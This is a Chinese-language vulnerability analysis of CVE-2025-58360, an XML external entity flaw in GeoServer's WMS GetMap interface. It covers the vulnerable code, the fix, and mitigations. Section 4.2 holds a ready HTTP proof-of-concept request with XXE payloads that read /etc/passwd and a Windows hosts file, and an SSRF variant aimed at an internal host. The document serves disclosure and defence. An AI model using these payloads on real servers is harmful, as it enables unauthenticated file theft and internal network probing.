【CVE-2025-58360】GeoServer WMS GetMap XML 外部实体注入漏洞分析
字数 1660 2025-12-03 12:07:07
CVE-2025-58360 GeoServer WMS GetMap XML外部实体注入漏洞分析
一、漏洞概述
1.1 漏洞基本信息
- 漏洞编号:CVE-2025-58360
- 漏洞类型:XML外部实体注入(XXE)
- 威胁等级:高危
- 影响组件:GeoServer WMS GetMap接口
1.2 漏洞描述
GeoServer是一个开源的地理信息服务器,用于通过标准化的OGC接口发布和共享空间数据与地图服务。该软件的WMS GetMap接口在解析SLD/XML时未正确配置XML解析器,导致攻击者可通过精心构造的恶意XML文档实现外部实体注入攻击。
1.3 攻击影响
- 任意文件读取:通过file://协议读取服务器本地文件
- 服务端请求伪造(SSRF):通过http://协议访问内部网络资源
- 攻击条件:无需认证即可触发
二、影响范围
2.1 受影响版本
geoserver [2.26.0, 2.26.2)
geoserver [, 2.25.6)
org.geoserver.web:gs-web-app [2.26.0, 2.26.2)
org.geoserver.web:gs-web-app [, 2.25.6)
org.geoserver:gs-wms [2.26.0, 2.26.2)
org.geoserver:gs-wms [, 2.25.6)
2.2 安全版本
geoserver >= 2.26.2
geoserver >= 2.25.6
三、技术原理分析
3.1 漏洞位置
漏洞文件:src/wms/src/main/java/org/geoserver/sld/SLDXmlRequestReader.java
3.2 漏洞代码分析
3.2.1 存在漏洞的代码段
public class SLDXmlRequestReader extends XmlRequestReader {
// ... 其他代码 ...
@Override
public Object read(Object request, Reader reader, Map kvp) throws Exception {
if (request == null) {
throw new IllegalArgumentException("request must be not null");
}
try {
GetMapRequest getMap = (GetMapRequest) request;
StyledLayerDescriptor sld =
Styles.handler(getMap.getStyleFormat())
.parse(reader, getMap.styleVersion(), null, null); // 漏洞点:第四个参数为null
// process the sld
sld.accept(new ProcessStandaloneSLDVisitor(wms, getMap));
return getMap;
} catch (IOException e) {
throw new ServiceException(cleanException(e));
}
}
}
3.2.2 关键漏洞点
StyledLayerDescriptor sld =
Styles.handler(getMap.getStyleFormat())
.parse(reader, getMap.styleVersion(), null, null);
漏洞分析:
- 第四个参数
null代表未配置EntityResolver - GeoTools StyleHandler在缺少EntityResolver时会使用默认XML解析行为
- 默认配置允许DOCTYPE声明和外部实体解析
- 攻击者可利用此缺陷注入恶意外部实体
3.3 安全修复方案
3.3.1 修复commit
https://github.com/geoserver/geoserver/commit/e874ced5a6fb4b441b7b075d30e5214ca6ad03e6
3.3.2 修复代码
修复后的代码通过引入安全EntityResolver来禁用外部实体解析:
// 修复后的代码应类似(具体实现参考官方修复)
StyledLayerDescriptor sld =
Styles.handler(getMap.getStyleFormat())
.parse(reader, getMap.styleVersion(), null,
wms.getCatalog().getResourcePool().getEntityResolver()); // 传入安全解析器
四、漏洞复现与验证
4.1 环境搭建
- 部署受影响版本的GeoServer(2.26.0-2.26.1或2.25.5及以下)
- 确保WMS服务正常运行
4.2 PoC构造
4.2.1 恶意请求示例
POST /geoserver/wms?service=WMS&version=1.1.0&request=GetMap&width=100&height=100&format=image/png&bbox=-180,-90,180,90 HTTP/1.1
Host: target-server
Content-Type: application/xml
Content-Length: 285
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<StyledLayerDescriptor version="1.0.0">
<NamedLayer>
<Name>&xxe;</Name>
</NamedLayer>
</StyledLayerDescriptor>
4.2.2 攻击变种示例
读取Windows系统文件:
<!ENTITY xxe SYSTEM "file:///c:/windows/system32/drivers/etc/hosts">
SSRF攻击:
<!ENTITY xxe SYSTEM "http://internal-server:8080/secret">
4.3 检测方法
4.3.1 手动检测
- 使用Burp Suite或类似工具发送上述PoC请求
- 观察响应中是否包含目标文件内容或错误信息
4.3.2 自动化检测
编写检测脚本,检查以下特征:
- 响应中包含文件内容
- 错误信息暴露内部路径
- 响应时间差异(盲注检测)
五、防护措施
5.1 立即修复方案
5.1.1 版本升级
# 升级到安全版本
# 对于2.26.x系列:升级到2.26.2或更高
# 对于2.25.x系列:升级到2.25.6或更高
5.1.2 临时缓解措施
对于无法立即升级的环境:
-
网络层防护
- 配置WAF规则拦截包含DOCTYPE的XML请求
- 限制GeoServer实例的网络访问权限
-
应用层配置
- 修改web.xml添加输入过滤
- 禁用不必要的WMS功能
5.2 安全开发规范
5.2.1 XML解析安全配置
// 安全的XML解析器配置示例
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
// 禁用外部实体
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
dbf.setXIncludeAware(false);
dbf.setExpandEntityReferences(false);
5.2.2 输入验证
- 对用户输入的XML进行格式验证
- 实施白名单机制的标签和属性过滤
- 限制XML文档大小和复杂度
六、深度防御策略
6.1 架构安全
- 最小权限原则:GeoServer运行账户应具有最小必要权限
- 网络隔离:将GeoServer部署在DMZ区域,限制内网访问
- 文件系统防护:使用容器化技术限制文件系统访问
6.2 监控与审计
- 日志监控:监控异常的XML解析请求
- 文件访问审计:记录敏感文件访问行为
- 网络流量分析:检测异常的外连请求
七、总结
CVE-2025-58360是一个典型的XXE漏洞案例,其根本原因在于XML解析器配置不当。该漏洞的利用门槛较低但危害较大,可能造成敏感信息泄露和内部网络探测。
关键防护要点:
- 及时更新到安全版本
- 严格配置XML解析器安全属性
- 实施深度防御策略
- 建立完善的安全监控体系
通过系统化的安全措施,可以有效预防此类漏洞的发生和利用,保障地理信息服务的安全稳定运行。